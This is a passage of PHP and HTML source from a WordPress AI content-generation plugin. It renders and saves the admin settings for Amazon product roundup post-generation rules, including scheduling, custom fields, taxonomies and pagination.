feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ); ?> </div> </div> <b><?php echo esc_html__("Set a Custom Post Publish Date Range:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="min_time" name="aiomatic_amazon_list[min_time][]" placeholder="Start time" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_amazon_list[max_time][]" placeholder="End time" class="cr_half"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Custom Fields:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_amazon_list[custom_fields][]" placeholder="Please insert your desired custom fields. Example: title_custom_field => %%post_title%%" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Custom Taxonomies:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_amazon_list[custom_tax][]" placeholder="Please insert your desired custom taxonomies. Example: custom_taxonomy_name => %%post_title%%" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Assign WPML/Polylang Language to Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_amazon_list[wpml_lang][]" value="" placeholder="WPML/Polylang language" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Scheduling Restrictions", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Run This Rule On The Following Days Of The Week:", 'aiomatic-automatic-ai-content-writer');?></b> <br/><?php echo esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s");?> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_amazon_list[days_no_run][]" value="" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="cr_gray20">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_amazon_list[active][]" value="1" checked /> <input type="hidden" name="aiomatic_amazon_list[last_run][]" value="1988-01-27 00:00:00"/> <input type="hidden" name="aiomatic_amazon_list[rule_unique_id][]" value="<?php echo uniqid('', true);?>"/> </td> <td class="cr_short_td"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("No info.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </td> <td class="cr_center"> <div> <img src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif'); ?>" alt="Running" class="cr_running"> <div class="codemainfzr cr_gray_back cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" disabled> <option value="select" disabled selected><?php echo esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer');?></option> <option value="run" onclick=""><?php echo esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer');?></option> <option value="duplicate" onclick=""><?php echo esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer');?></option> <option value="up" onclick=""><?php echo esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer');?></option> <option value="down" onclick=""><?php echo esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash" onclick=""><?php echo esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer');?></option> <option value="delete" onclick=""><?php echo esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </div> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> <hr/> <div> <?php $next_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($next_url, 'aiomatic_page=') === false) { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $next_page = $curent_page + 1; if($next_page > $max_pages) { $next_page = $max_pages; } if($next_page <= 0) { $next_page = 1; } $next_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $next_page, $next_url); } else { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } } $prev_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($prev_url, 'aiomatic_page=') === false) { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $go_to = $curent_page - 1; if($go_to <= 0) { $go_to = 1; } if($go_to > $max_pages) { $go_to = $max_pages; } $prev_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $go_to, $prev_url); } else { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } } $first_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($first_url, 'aiomatic_page=') === false) { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $first_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=1', $first_url); } else { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } if(isset($_GET['aiomatic_page'])) { $this_page = $_GET["aiomatic_page"]; } else { $this_page = '1'; } echo '<center><a href="' . esc_url_raw($first_url) . '">' . esc_html__('First Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($prev_url) . '">' . esc_html__('Previous Page', 'aiomatic-automatic-ai-content-writer') . '</a>  ' . esc_html__('Page', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($this_page) . ' ' . esc_html__('of', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($max_pages) . ' - ' . esc_html__("Rules Per Page:", 'aiomatic-automatic-ai-content-writer') . '  <input class="cr_50" type="number" min="2" step="1" max="999" name="posts_per_page" value="' . esc_attr($rules_per_page). '" required/>   <a href="' . esc_url_raw($next_url) . '">' . esc_html__('Next Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($last_url) . '">' . esc_html__('Last Page', 'aiomatic-automatic-ai-content-writer') . '</a></center> <center></center> <center>Info: You can add new rules only on the last page.</center>'; ?> <div> <p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p> </div> <div> <div><?php echo esc_html__("* = required", 'aiomatic-automatic-ai-content-writer');?></div><br/><?php echo sprintf( wp_kses( __( "Check more settings which apply to rule running, over at the plugin's 'Settings' menu, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_admin_settings#tab-17' ) );?> <br/> <?php echo esc_html__("New! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or other", 'aiomatic-automatic-ai-content-writer') . " <a href='https://1.envato.market/coderevolutionplugins' target='_blank'>" . esc_html__("'omatic plugins created by CodeRevolution", 'aiomatic-automatic-ai-content-writer') . "</a>" . esc_html__(", click for details:", 'aiomatic-automatic-ai-content-writer');?> <a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-ai-generated-content-from-any-plugin-built-by-coderevolution/" target="_blank"><img src="https://i.ibb.co/gvTNWr6/artificial-intelligence-badge.png" alt="artificial-intelligence-badge" title="AI content generator support, when used together with the Aiomatic plugin"></a><br/><br/><a href="https://www.youtube.com/watch?v=5rbnu_uis7Y" target="_blank"><?php echo esc_html__("Nested Shortcodes also supported!", 'aiomatic-automatic-ai-content-writer');?></a><br/><br/><?php echo esc_html__("Confused about rule running status icons?", 'aiomatic-automatic-ai-content-writer');?> <a href="http://coderevolution.ro/knowledge-base/faq/how-to-interpret-the-rule-running-visual-indicators-red-x-yellow-diamond-green-tick-from-inside-plugins/" target="_blank"><?php echo esc_html__("More info", 'aiomatic-automatic-ai-content-writer');?></a><br/> <div class="cr_none" id="midas_icons"> <table> <tr> <td><img id="run_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif');?>" alt="Running" title="status"></td> <td><?php echo esc_html__("In Progress", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Importing is Running", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="ok_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/ok.gif');?>" alt="OK" title="status"></td> <td><?php echo esc_html__("Success", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("New Posts Created", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="fail_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/failed.gif');?>" alt="Faield" title="status"></td> <td><?php echo esc_html__("Failed", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("An Error Occurred.", 'aiomatic-automatic-ai-content-writer');?> <b><?php echo esc_html__("Please check 'Activity and Logging' plugin menu for details.", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="nochange_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/nochange.gif');?>" alt="NoChange" title="status"></td> <td><?php echo esc_html__("No Change - No New Posts Created", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Possible reasons:", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td></td> <td> <ul> <li>► <?php echo esc_html__("Please change rule settings, as your titles are all posted.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> </td> </tr> </table> </div> </div> </form> </div> <div id="running_status_ai"></div> </div> <div class="wrap"> <h3><?php echo esc_html__("Amazon Product Roundup Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h3> <div id="ai-video-container"><br/> <iframe class="ai-video" width="560" height="315" src="https://www.youtube.com/embed/li3UhcGpVc0" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> </div> </div> <?php } if (isset($_POST['aiomatic_amazon_list'])) { add_action('admin_init', 'aiomatic_save_rules_amazon'); } function aiomatic_save_rules_amazon($data2) { $init_rules_per_page = get_option('aiomatic_posts_per_page', 12); $rules_per_page = get_option('aiomatic_posts_per_page', 12); if(isset($_POST['posts_per_page'])) { update_option('aiomatic_posts_per_page', $_POST['posts_per_page']); } check_admin_referer('aiomatic_save_rules', '_aiomaticr_nonce'); $data2 = $_POST['aiomatic_amazon_list']; $rules = get_option('aiomatic_amazon_list', array()); if(!is_array($rules)) { $rules = array(); } $initial_count = count($rules); $add = false; $scad = false; if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $offset = ($curent_page - 1) * $rules_per_page; $cat_cont = $offset; $cont = 0; if (isset($data2['amazon_keyword'][0])) { for ($i = 0; $i < sizeof($data2['amazon_keyword']); ++$i) { $bundle = array(); if (isset($data2['schedule'][$i]) && $data2['schedule'][$i] != '' && $data2['amazon_keyword'][$i] != '') { $bundle[] = trim(sanitize_text_field($data2['schedule'][$i])); if (isset($data2['active'][$i])) { $bundle[] = trim(sanitize_text_field($data2['active'][$i])); } else { $bundle[] = '0'; } $bundle[] = trim(sanitize_text_field($data2['last_run'][$i])); $bundle[] = trim(sanitize_text_field($data2['max'][$i])); $bundle[] = trim(sanitize_text_field($data2['submit_status'][$i])); $bundle[] = trim(sanitize_text_field($data2['default_type'][$i])); $bundle[] = trim(sanitize_text_field($data2['post_author'][$i])); $bundle[] = trim(sanitize_text_field($data2['default_tags'][$i])); if($i == sizeof($data2['schedule']) - 1) { if(isset($data2['default_category'])) { $bundle[] = $data2['default_category']; } else { if(!isset($data2['default_category' . $cat_cont])) { $cat_cont++; } if(!isset($data2['default_category' . $cat_cont])) { $bundle[] = array('aiomatic_no_category_12345678'); } else { $bundle[] = $data2['default_category' . $cat_cont]; } } } else { if(!isset($data2['default_category' . $cat_cont])) { $cat_cont++; } if(!isset($data2['default_category' . $cat_cont])) { $bundle[] = array('aiomatic_no_category_12345678'); } else { $bundle[] = $data2['default_category' . $cat_cont]; } } $bundle[] = trim(sanitize_text_field($data2['auto_categories'][$i])); $bundle[] = trim(sanitize_text_field($data2['auto_tags'][$i])); $bundle[] = trim(sanitize_text_field($data2['enable_comments'][$i])); $bundle[] = trim($data2['image_url'][$i]); $bundle[] = $data2['amazon_keyword'][$i]; $bundle[] = trim(sanitize_text_field($data2['enable_pingback'][$i])); $bundle[] = trim(sanitize_text_field($data2['post_format'][$i])); $bundle[] = trim($data2['custom_fields'][$i]); $bundle[] = trim($data2['custom_tax'][$i]); $bundle[] = trim($data2['temperature'][$i]); $bundle[] = trim($data2['top_p'][$i]); $bundle[] = trim($data2['presence_penalty'][$i]); $bundle[] = trim($data2['frequency_penalty'][$i]); $bundle[] = trim($data2['royalty_free'][$i]); $bundle[] = trim($data2['max_tokens'][$i]); $bundle[] = trim($data2['max_seed_tokens'][$i]); $bundle[] = trim($data2['max_continue_tokens'][$i]); $bundle[] = trim($data2['post_prepend'][$i]); $bundle[] = trim($data2['post_append'][$i]); $bundle[] = trim($data2['enable_ai_images'][$i]); $bundle[] = trim($data2['ai_command_image'][$i]); $bundle[] = trim($data2['image_size'][$i]); $bundle[] = trim($data2['wpml_lang'][$i]); $bundle[] = trim($data2['remove_default'][$i]); $bundle[] = trim($data2['strip_title'][$i]); $bundle[] = trim($data2['title_once'][$i]); $bundle[] = trim($data2['category_model'][$i]); $bundle[] = trim($data2['category_ai_command'][$i]); $bundle[] = trim($data2['tag_model'][$i]); $bundle[] = trim($data2['tag_ai_command'][$i]); $bundle[] = trim($data2['min_time'][$i]); $bundle[] = trim($data2['max_time'][$i]); $bundle[] = trim($data2['skip_spin'][$i]); $bundle[] = trim($data2['skip_translate'][$i]); $bundle[] = trim($data2['affiliate_id'][$i]); $bundle[] = trim($data2['first_hand'][$i]); $bundle[] = trim($data2['content_language'][$i]); $bundle[] = trim($data2['writing_style'][$i]); $bundle[] = trim($data2['writing_tone'][$i]); $bundle[] = trim($data2['title_prompt'][$i]); $bundle[] = trim($data2['content_prompt'][$i]); $bundle[] = trim($data2['excerpt_prompt'][$i]); $bundle[] = trim($data2['max_products'][$i]); $bundle[] = trim($data2['paragraph_count'][$i]); $bundle[] = trim($data2['topic_title_model'][$i]); $bundle[] = trim($data2['topic_content_model'][$i]); $bundle[] = trim($data2['topic_excerpt_model'][$i]); $bundle[] = trim($data2['intro_prompt'][$i]); $bundle[] = trim($data2['topic_intro_model'][$i]); $bundle[] = trim($data2['outro_prompt'][$i]); $bundle[] = trim($data2['topic_outro_model'][$i]); $bundle[] = trim($data2['topic_images'][$i]); $bundle[] = trim($data2['sections_role'][$i]); $bundle[] = trim($data2['topic_videos'][$i]); $bundle[] = trim($data2['rule_description'][$i]); $bundle[] = trim($data2['custom_shortcodes'][$i]); $bundle[] = trim($data2['strip_by_regex'][$i]); $bundle[] = trim($data2['replace_regex'][$i]); $bundle[] = trim($data2['strip_by_regex_prompts'][$i]); $bundle[] = trim($data2['replace_regex_prompts'][$i]); $bundle[] = trim($data2['run_regex_on'][$i]); $bundle[] = trim($data2['max_links'][$i]); $bundle[] = trim($data2['link_post_types'][$i]); $bundle[] = trim($data2['enable_toc'][$i]); $bundle[] = trim($data2['title_toc'][$i]); $bundle[] = trim($data2['qa_prompt'][$i]); $bundle[] = trim($data2['topic_qa_model'][$i]); $bundle[] = trim($data2['enable_qa'][$i]); $bundle[] = trim($data2['title_qa'][$i]); $bundle[] = trim($data2['title_outro'][$i]); $bundle[] = trim($data2['link_type'][$i]); $bundle[] = trim($data2['link_list'][$i]); $bundle[] = trim($data2['skip_inexist'][$i]); $bundle[] = trim($data2['target_country'][$i]); $bundle[] = trim($data2['min_price'][$i]); $bundle[] = trim($data2['max_price'][$i]); $bundle[] = trim($data2['sort_results'][$i]); $bundle[] = trim($data2['shuffle_products'][$i]); $bundle[] = trim($data2['global_prepend'][$i]); $bundle[] = trim($data2['global_append'][$i]); $bundle[] = trim($data2['search_query_repetition'][$i]); $bundle[] = trim($data2['days_no_run'][$i]); $bundle[] = trim($data2['overwrite_existing'][$i]); $bundle[] = trim($data2['link_nofollow'][$i]); $bundle[] = trim($data2['parent_id'][$i]); $bundle[] = trim($data2['rule_unique_id'][$i]); $bundle[] = trim($data2['no_headlink'][$i]); $bundle[] = trim($data2['enable_table'][$i]); $bundle[] = trim($data2['table_prompt'][$i]); $bundle[] = trim($data2['topic_table_model'][$i]); $bundle[] = trim($data2['image_model'][$i]); $bundle[] = isset($data2['assistant_id'][$i]) ? trim($data2['assistant_id'][$i]) : ''; $rules[$offset + $cont] = $bundle; $cont++; $cat_cont++; } } while($cont < $init_rules_per_page) { if(isset($rules[$offset + $cont])) { $rules[$offset + $cont] = false; } $cont = $cont + 1; $cat_cont++; } $rules = array_values(array_filter($rules)); } $final_count = count($rules); if($final_count > $initial_count) { $add = true; } elseif($final_count < $initial_count) { $scad = true; } update_option('aiomatic_amazon_list', $rules, false); if(count($rules) % $rules_per_page === 1 && $add === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } elseif(count($rules) != 0 && count($rules) % $rules_per_page === 0 && $scad === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } } function aiomatic_expand_rules_amazon() { $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); if (!get_option('aiomatic_running_list')) { $running = array(); } else { $running = get_option('aiomatic_running_list'); } $GLOBALS['wp_object_cache']->delete('aiomatic_amazon_list', 'options'); $rules = get_option('aiomatic_amazon_list'); if(!is_array($rules)) { $rules = array(); } $output = ''; $cont = 0; if (!empty($rules)) { $cat_args = array( "orderby" => "name", "hide_empty" => 0, "order" => "ASC" ); $categories = get_categories($cat_args); $posted_items = array(); $post_list = array(); $postsPerPage = 50000; $paged = 0; do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => array( 'publish', 'draft', 'pending', 'trash', 'private', 'future' ), 'post_type' => array( 'any' ), 'numberposts' => $postsPerPage, 'meta_key' => 'aiomatic_parent_rule', 'fields' => 'ids', 'offset' => $postOffset ); $got_me = get_posts($query); $post_list = array_merge($post_list, $got_me); $paged++; }while(!empty($got_me)); wp_suspend_cache_addition(true); foreach ($post_list as $post) { $rule_id = get_post_meta($post, 'aiomatic_parent_rule', true); if ($rule_id != '') { if(stristr($rule_id, '-')) { $exp = explode('-', $rule_id); if(isset($exp[0]) && isset($exp[1]) && $exp[0] == '2') { $posted_items[] = $exp[1]; } } } } wp_suspend_cache_addition(false); $counted_vals = array_count_values($posted_items); if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $unlocker = get_option('aiomatic_minute_running_unlocked', false); $rules_per_page = get_option('aiomatic_posts_per_page', 12); $amaz_countries = aiomatic_get_amazon_codes(); foreach ($rules as $request => $bundle[]) { if(($cont < ($curent_page - 1) * $rules_per_page) || ($cont >= $curent_page * $rules_per_page)) { $cont++; continue; } $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$iji<count($array_my_values);++$iji){if(is_string($array_my_values[$iji])){$array_my_values[$iji]=stripslashes($array_my_values[$iji]);}} $schedule = $array_my_values[0]; $active = $array_my_values[1]; $last_run = $array_my_values[2]; $max = $array_my_values[3]; $status = $array_my_values[4]; $def_type = $array_my_values[5]; $post_user_name = $array_my_values[6]; $default_tags = $array_my_values[7]; $default_category = $array_my_values[8]; $auto_categories = $array_my_values[9]; $auto_tags = $array_my_values[10]; $enable_comments = $array_my_values[11]; $image_url = $array_my_values[12]; $amazon_keyword = $array_my_values[13]; $enable_pingback = $array_my_values[14]; $post_format = $array_my_values[15]; $custom_fields = $array_my_values[16]; $custom_tax = $array_my_values[17]; $temperature = $array_my_values[18]; $top_p = $array_my_values[19]; $presence_penalty = $array_my_values[20]; $frequency_penalty = $array_my_values[21]; $royalty_free = $array_my_values[22]; $max_tokens = $array_my_values[23]; $max_seed_tokens = $array_my_values[24]; $max_continue_tokens = $array_my_values[25]; $post_prepend = $array_my_values[26]; $post_append = $array_my_values[27]; $enable_ai_images = $array_my_values[28]; $ai_command_image = $array_my_values[29]; $image_size = $array_my_values[30]; $wpml_lang = $array_my_values[31]; $remove_default = $array_my_values[32]; $strip_title = $array_my_values[33]; $title_once = $array_my_values[34]; $category_model = $array_my_values[35]; $category_ai_command = $array_my_values[36]; $tag_model = $array_my_values[37]; $tag_ai_command = $array_my_values[38]; $min_time = $array_my_values[39]; $max_time = $array_my_values[40]; $skip_spin = $array_my_values[41]; $skip_translate = $array_my_values[42]; $affiliate_id = $array_my_values[43]; $first_hand = $array_my_values[44]; $content_language = $array_my_values[45]; $writing_style = $array_my_values[46]; $writing_tone = $array_my_values[47]; $title_prompt = $array_my_values[48]; $content_prompt = $array_my_values[49]; $excerpt_prompt = $array_my_values[50]; $max_products = $array_my_values[51]; $paragraph_count = $array_my_values[52]; $topic_title_model = $array_my_values[53]; $topic_content_model = $array_my_values[54]; $topic_excerpt_model = $array_my_values[55]; $intro_prompt = $array_my_values[56]; $topic_intro_model = $array_my_values[57]; $outro_prompt = $array_my_values[58]; $topic_outro_model = $array_my_values[59]; $topic_images = $array_my_values[60]; $sections_role = $array_my_values[61]; $topic_videos = $array_my_values[62]; $rule_description = $array_my_values[63]; $custom_shortcodes = $array_my_values[64]; $strip_by_regex = $array_my_values[65]; $replace_regex = $array_my_values[66]; $strip_by_regex_prompts = $array_my_values[67]; $replace_regex_prompts = $array_my_values[68]; $run_regex_on = $array_my_values[69]; $max_links = $array_my_values[70]; $link_post_types = $array_my_values[71]; $enable_toc = $array_my_values[72]; $title_toc = $array_my_values[73]; $qa_prompt = $array_my_values[74]; $topic_qa_model = $array_my_values[75]; $enable_qa = $array_my_values[76]; $title_qa = $array_my_values[77]; $title_outro = $array_my_values[78]; $link_type = $array_my_values[79]; $link_list = $array_my_values[80]; $skip_inexist = $array_my_values[81]; $target_country = $array_my_values[82]; $min_price = $array_my_values[83]; $max_price = $array_my_values[84]; $sort_results = $array_my_values[85]; $shuffle_products = $array_my_values[86]; $global_prepend = $array_my_values[87]; $global_append = $array_my_values[88]; $search_query_repetition= $array_my_values[89]; $days_no_run = $array_my_values[90]; $overwrite_existing = $array_my_values[91]; $link_nofollow = $array_my_values[92]; $parent_id = $array_my_values[93]; $rule_unique_id = $array_my_values[94]; $no_headlink = $array_my_values[95]; $enable_table = $array_my_values[96]; $table_prompt = $array_my_values[97]; $topic_table_model = $array_my_values[98]; $image_model = $array_my_values[99]; $assistant_id = $array_my_values[100]; if(empty($rule_unique_id)) { $rule_unique_id = $cont; } if (isset($counted_vals[$rule_unique_id])) { $generated_posts = $counted_vals[$rule_unique_id]; } else { $generated_posts = 0; } if($rule_description == '') { $rule_description = $cont; } $name = md5(get_bloginfo()); wp_add_inline_script($name . '-footer-script', 'createAdmin(' . esc_html($cont) . ');createModeSelect(' . esc_html($cont) . ');hideLinks(' . esc_html($cont) . ');', 'after'); $output .= '<tr> <td class="cr_short_td"><input type="text" name="aiomatic_amazon_list[rule_description][]" id="rule_description' . esc_html($cont) . '" class="cr_center" placeholder="Rule ID" value="' . esc_html($rule_description) . '" class="cr_width_full"/></td> <td class="cr_loi"><textarea rows="1" name="aiomatic_amazon_list[amazon_keyword][]" placeholder="Example: dog food" class="cr_width_full">' . htmlspecialchars($amazon_keyword) . '</textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" placeholder="# h" name="aiomatic_amazon_list[schedule][]" max="8765812" value="' . esc_attr($schedule) . '" class="cr_width_60" required></td> <td class="cr_comm_td"><input type="number" 